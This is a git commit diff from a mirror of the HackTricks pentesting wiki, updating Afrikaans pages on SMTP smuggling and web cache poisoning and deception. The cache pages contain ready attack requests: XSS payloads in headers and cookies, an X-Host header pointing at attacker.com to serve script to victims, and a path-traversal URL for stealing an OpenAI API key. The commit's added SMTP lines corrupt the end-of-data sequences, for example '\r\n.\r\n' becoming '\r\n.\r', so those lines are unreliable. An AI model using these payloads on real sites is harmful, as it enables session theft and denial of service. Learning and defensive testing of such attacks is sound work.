mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.
This commit is contained in:
parent
3f9faa56a8
commit
6d7af53d24
12 changed files with 249 additions and 155 deletions
BIN
.gitbook/assets/image (1250).png
Normal file
BIN
.gitbook/assets/image (1250).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1251).png
Normal file
BIN
.gitbook/assets/image (1251).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 29 KiB |
BIN
.gitbook/assets/image (1252).png
Normal file
BIN
.gitbook/assets/image (1252).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 32 KiB |
BIN
.gitbook/assets/image (1253).png
Normal file
BIN
.gitbook/assets/image (1253).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
|
@ -531,6 +531,7 @@
|
|||
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||
* [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md)
|
||||
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
|
||||
* [Clickjacking](pentesting-web/clickjacking.md)
|
||||
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SMTP Smuggling
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
Hierdie tipe kwesbaarheid is [**oorspronklik ontdek in hierdie pos**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) waar dit verduidelik word dat dit moontlik is om **verskille in hoe die SMTP-protokol geïnterpreteer word** te benut wanneer 'n e-pos afgehandel word, wat 'n aanvaller in staat stel om meer e-posse in die liggaam van die legitieme een te smokkel, wat dit moontlik maak om ander gebruikers van die betrokke domein (soos admin@outlook.com) na te boots en verdediging soos SPF te omseil.
|
||||
Hierdie tipe kwesbaarheid is [**oorspronklik ontdek in hierdie pos**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) waar dit verduidelik word dat dit moontlik is om **verskille in hoe die SMTP-protokol geïnterpreteer word** te benut wanneer 'n e-pos afgehandel word, wat 'n aanvaller in staat stel om meer e-posse in die liggaam van die legitieme een te smokkel, wat dit moontlik maak om ander gebruikers van die betrokke domein (soos admin@outlook.com) na te doen en verdediging soos SPF te omseil.
|
||||
|
||||
### Waarom
|
||||
|
||||
|
@ -27,17 +27,17 @@ Dit is omdat in die SMTP-protokol, die **data van die boodskap** wat in die e-po
|
|||
|
||||
### Hoe
|
||||
|
||||
Om hierdie kwesbaarheid te benut, moet 'n aanvaller 'n paar data stuur wat die **Outbound SMPT bediener dink dat dit net 1 e-pos is, maar die Inbound SMTP bediener dink dat daar verskeie e-posse is**.
|
||||
Om hierdie kwesbaarheid te benut, moet 'n aanvaller sekere data stuur wat die **Outbound SMPT bediener dink dat dit net 1 e-pos is, maar die Inbound SMTP bediener dink dat daar verskeie e-posse is**.
|
||||
|
||||
Die navorsers het ontdek dat verskillende **Inboud bedieners verskillende karakters as die einde van die data** van die e-pos boodskap beskou wat Outbound bedieners nie doen.\
|
||||
Byvoorbeeld, 'n gewone einde van die data is `\r\n.\r\n`. Maar as die Inbound SMTP bediener ook `\n.\n` ondersteun, kan 'n aanvaller eenvoudig **daardie data in sy e-pos voeg en begin om die SMTP-opdragte** van 'n nuwe een aan te dui om dit te smokkel, net soos in die vorige beeld.
|
||||
Byvoorbeeld, 'n gewone einde van die data is `\r\n.\r`. Maar as die Inbound SMTP bediener ook `\n.` ondersteun, kan 'n aanvaller eenvoudig **daardie data in sy e-pos voeg en begin om die SMTP-opdragte** van 'n nuwe een aan te dui om dit te smokkel, net soos in die vorige beeld.
|
||||
|
||||
Natuurlik, dit kan net werk as die **Outbound SMTP bediener nie ook hierdie data** as die einde van die boodskapdata beskou nie, want in daardie geval sal dit 2 e-posse sien in plaas van net 1, so uiteindelik is dit die desinkronisasie wat in hierdie kwesbaarheid misbruik word.
|
||||
Natuurlik kan dit net werk as die **Outbound SMTP bediener nie ook hierdie data** as die einde van die boodskapdata beskou nie, want in daardie geval sal dit 2 e-posse in plaas van net 1 sien, so uiteindelik is dit die desinkronisasie wat in hierdie kwesbaarheid misbruik word.
|
||||
|
||||
Potensiële desinkronisasie data:
|
||||
|
||||
* `\n.\n`
|
||||
* `\n.\r\n`
|
||||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
Let ook daarop dat die SPF omseil word omdat as jy 'n e-pos van `admin@outlook.com` smokkel vanaf 'n e-pos van `user@outlook.com`, **is die sender steeds `outlook.com`.**
|
||||
|
||||
|
@ -46,8 +46,8 @@ Let ook daarop dat die SPF omseil word omdat as jy 'n e-pos van `admin@outlook.c
|
|||
* [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cache Poisoning en Cache Deception
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,7 +10,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -18,7 +18,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **meest gevorderde** gemeenskapstools aangedryf word.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
@ -27,8 +27,8 @@ Kry Toegang Vandag:
|
|||
|
||||
> **Wat is die verskil tussen web cache poisoning en web cache deception?**
|
||||
>
|
||||
> * In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word aan ander toepassingsgebruikers van die cache bedien.
|
||||
> * In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
|
||||
> * In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
|
||||
> * In **web cache deception** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
|
@ -36,17 +36,17 @@ Cache poisoning is daarop gemik om die kliënt-kant cache te manipuleer om klië
|
|||
|
||||
Die uitvoering van 'n cache poisoning aanval behels verskeie stappe:
|
||||
|
||||
1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer.
|
||||
1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis word vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer.
|
||||
2. **Eksploitatie van die Ongekykte Insette**: Na die identifikasie van die ongekykte insette, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se antwoord op 'n manier te verander wat die aanvaller bevoordeel.
|
||||
3. **Verseker dat die Besmette Antwoord in die Cache Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde antwoord in die cache gestoor word. Op hierdie manier sal enige gebruiker wat die aangetaste bladsy toegang terwyl die cache besoedel is, die besmette antwoord ontvang.
|
||||
3. **Verseker dat die Besmette Antwoord in die Cache Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde antwoord in die cache gestoor word. Op hierdie manier sal enige gebruiker wat toegang tot die aangetaste bladsy verkry terwyl die cache besoedel is, die besmette antwoord ontvang.
|
||||
|
||||
### Ontdekking: Kontroleer HTTP koppe
|
||||
### Ontdekking: Kontroleer HTTP koptekste
|
||||
|
||||
Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kop wat dit aandui** wees, jy kan kyk watter koppe jy op hierdie pos moet let: [**HTTP Cache koppe**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kopteks wees wat dit aandui**, jy kan kyk watter koptekste jy op hierdie pos moet let: [**HTTP Cache koptekste**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Ontdekking: Cache foutkodes
|
||||
|
||||
As jy dink dat die antwoord in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord moet word. Probeer dan om die versoek normaal te benader en as die **antwoord 'n 400 statuskode is**, weet jy dit is kwesbaar (en jy kan selfs 'n DoS uitvoer).
|
||||
As jy dink dat die antwoord in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kopteks te stuur**, wat met 'n **statuskode 400** beantwoord moet word. Probeer dan om die versoek normaal te benader en as die **antwoord 'n 400 statuskode is**, weet jy dit is kwesbaar (en jy kan selfs 'n DoS uitvoer).
|
||||
|
||||
Jy kan meer opsies vind in:
|
||||
|
||||
|
@ -58,7 +58,7 @@ Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor w
|
|||
|
||||
### Ontdekking: Identifiseer en evalueer ongekykte insette
|
||||
|
||||
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koppe te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kop `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
|
||||
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koptekste te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteks `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
|
||||
```markup
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
|
@ -68,19 +68,22 @@ Met die parameter/kop wat geïdentifiseer is, kyk hoe dit **gesanitiseer** word
|
|||
|
||||
### Kry die reaksie in die cache
|
||||
|
||||
Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy in die cache kry. Afhangende van die hulpbron wat jy probeer om in die cache te kry, kan dit 'n rukkie neem; jy mag dalk vir verskeie sekondes moet probeer.\
|
||||
Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy in die cache kry. Afhangende van die hulpbron wat jy probeer om in die cache te kry, kan dit 'n rukkie neem, jy mag dalk vir verskeie sekondes moet probeer.
|
||||
|
||||
Die kop **`X-Cache`** in die reaksie kan baie nuttig wees, aangesien dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\
|
||||
Die kop **`Cache-Control`** is ook interessant om te weet of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800`\
|
||||
Nog 'n interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe aan te dui** wat as **deel van die cache-sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer wat hy teiken, ken, kan hy die cache vir die gebruikers wat daardie spesifieke `User-Agent` gebruik, vergiftig.\
|
||||
Die kop **`Cache-Control`** is ook interessant om te weet of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Nog 'n interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe aan te dui** wat as **deel van die cache-sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer wat hy teiken, ken, kan hy die cache vir die gebruikers wat daardie spesifieke `User-Agent` gebruik, vergiftig.
|
||||
|
||||
Een meer kop wat met die cache verband hou, is **`Age`**. Dit definieer die tyd in sekondes wat die objek in die proxy-cache was.
|
||||
|
||||
Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy gebruik** omdat sommige daarvan **onverwagte** as **gesleuteld** gebruik kan word en die **slagoffer sal daardie selfde kop moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende blaaiers** om te kyk of dit werk.
|
||||
|
||||
## Exploiteringsvoorbeelde
|
||||
|
||||
### Gemaklikste voorbeeld
|
||||
### Eenvoudigste voorbeeld
|
||||
|
||||
'n Kop soos `X-Forwarded-For` word in die reaksie ongesanitiseer gereflekteer.\
|
||||
'n Kop soos `X-Forwarded-For` word ongesanitiseer in die reaksie gereflekteer.\
|
||||
Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy benader, XSS sal ervaar:
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
|
@ -103,15 +106,29 @@ GET / HTTP/1.1
|
|||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
Let wel dat as die kwesbare koekie baie deur die gebruikers gebruik word, gereelde versoeke die cache sal skoonmaak.
|
||||
Let daarop dat as die kwesbare koekie baie deur die gebruikers gebruik word, gereelde versoeke die cache sal skoonmaak.
|
||||
|
||||
### Generering van verskille met afdelings, normalisering en punte <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Kontroleer:
|
||||
|
||||
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Cache vergiftiging met pad traversering om API-sleutel te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Hierdie skrywe verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat pas by `/share/*` in die cache gestoor sal word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
|
||||
|
||||
Dit word ook beter verduidelik in:
|
||||
|
||||
{% content-ref url="cache-poisoning-via-url-discrepancies.md" %}
|
||||
[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** stuur en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
|
||||
Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
|
@ -129,7 +146,7 @@ X-Host: attacker.com
|
|||
```
|
||||
### Fat Get
|
||||
|
||||
Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die kasbediener die een uit die URL kas, sal enigiemand wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
|
||||
Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die kasbediener die een uit die URL kas, sal enigiemand wat daardie URL benader, eintlik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
|
@ -156,18 +173,6 @@ Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vul
|
|||
|
||||
Voorbeeld gebruik: `wcvs -u example.com`
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
||||
|
||||
|
||||
## Vulnerable Examples
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
@ -176,7 +181,7 @@ ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het di
|
|||
|
||||
### GitHub CP-DoS
|
||||
|
||||
Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde antwoord geaktiveer. Die cache-sleutel het die koekie bevat, so dit was slegs moontlik om ongeauthentiseerde gebruikers aan te val.
|
||||
Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde antwoord geaktiveer. Die cache-sleutel het die koekie bevat, so dit was moontlik om slegs ongeauthentiseerde gebruikers aan te val.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
|
@ -184,7 +189,7 @@ GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** onderste
|
|||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
In Ruby on Rails-toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** kop in te stel as die versoek se skema. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
|
||||
In Ruby on Rails-toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** kop in te stel as die versoek se skema. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
|
@ -192,15 +197,15 @@ Cloudflare het voorheen 403-antwoorde gecache. Pogings om S3 of Azure Storage Bl
|
|||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request-fout.
|
||||
Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foute waarde gestuur is, sou die cache-sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-gecodeer die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request-fout.
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.
|
||||
Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies, kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopname. Koppe wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request-antwoord te aktiveer. In praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Opmerkelijke voorbeeld is Akamai, wat koppe met ongeldige karakters deurgee en enige 400-fout cache, solank die `cache-control` kop nie teenwoordig is nie. 'n Eksploiteerbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, 'n cachebare 400 Bad Request-fout sou lewer.
|
||||
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopname. Koppe wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request-antwoord te aktiveer. In praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Opmerkelijke voorbeeld is Akamai, wat koppe met ongeldige karakters deurgee en enige 400-fout cache, solank die `cache-control` kop nie teenwoordig is nie. 'n Uitbuitbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, 'n cachebare 400 Bad Request-fout sou lewer.
|
||||
|
||||
### Finding new headers
|
||||
|
||||
|
@ -210,7 +215,7 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aan
|
|||
|
||||
Die doel van Cache Deception is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**.
|
||||
|
||||
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** word om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.
|
||||
